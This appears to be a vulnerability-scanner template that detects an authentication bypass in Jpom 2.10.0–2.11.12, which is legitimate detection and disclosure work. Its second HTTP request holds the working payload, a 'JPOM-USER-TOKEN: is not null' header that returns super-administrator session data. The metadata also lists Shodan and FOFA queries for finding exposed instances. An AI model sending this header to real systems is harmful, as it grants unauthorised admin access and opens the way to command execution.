CVE-2026-120201: Jpom 2.10.0-2.11.12 - Authentication Bypass

id: CVE-2026-120201

info:
  name: Jpom 2.10.0-2.11.12 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    Jpom 2.10.0 through 2.11.12 contains an authentication bypass caused by injection of query conditions into the JPOM-USER-TOKEN header, letting unauthenticated attackers gain super-administrator access and execute commands, exploit requires crafted header injection.
  impact: |
    Unauthenticated attackers can gain super-administrator access and execute arbitrary commands, leading to full system compromise.
  remediation: |
    Update to version later than 2.11.12 or latest available version.
  reference:
    - https://github.com/dromara/Jpom/issues/121
    - https://nvd.nist.gov/vuln/detail/CVE-2026-120201
    - https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header
    - https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-120201
    epss-score: 0.02215
    epss-percentile: 0.8275
    cwe-id: CWE-943
  metadata:
    verified: true
    max-request: 2
    vendor: dromara
    product: jpom
    shodan-query: http.title:"Jpom"
    fofa-query: title="Jpom"
  tags: cve,cve2026,jpom,dromara,auth-bypass,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /user/user-basic-info HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - '!contains(body, "md5Token")'
        condition: and
        internal: true

  - raw:
      - |
        POST /user/user-basic-info HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        JPOM-USER-TOKEN: is not null

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "md5Token", "systemUser", "success")'
        condition: and
# digest: 490a00463044022011d4e8bf8785d2b10c0775ca2dda679719888415c1d66e1717d9026a5198a69b022028411d1a3b32cdc6959e0daf0df10eaaeb9ee1a98df4e088622a5d7d74f1733a:922c64590222798bb761d5b6d8e72950

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